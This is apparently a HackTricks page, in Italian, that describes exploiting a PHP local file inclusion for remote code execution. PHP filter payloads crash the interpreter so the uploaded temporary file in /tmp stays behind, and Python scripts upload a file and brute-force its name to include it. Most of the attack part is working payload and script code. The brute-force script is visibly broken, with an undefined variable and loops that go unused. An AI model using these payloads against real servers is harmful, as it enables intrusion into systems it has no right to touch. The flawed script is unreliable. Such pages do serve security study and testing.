LFI2RCE tramite Segmentation Fault

Reading time: 3 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Secondo i writeup https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (seconda parte) e https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, i seguenti payload hanno causato un segmentation fault in PHP:

php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Dovresti sapere che se invi una richiesta POST contenente un file, PHP creerà un file temporaneo in /tmp/php<qualcosa> con il contenuto di quel file. Questo file sarà automaticamente eliminato una volta che la richiesta è stata elaborata.

Se trovi un LFI e riesci a attivare un errore di segmentazione in PHP, il file temporaneo non verrà mai eliminato. Pertanto, puoi cercarlo con la vulnerabilità LFI finché non lo trovi ed eseguire codice arbitrario.

Puoi utilizzare l'immagine docker https://hub.docker.com/r/easyengine/php7.0 per i test.

python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks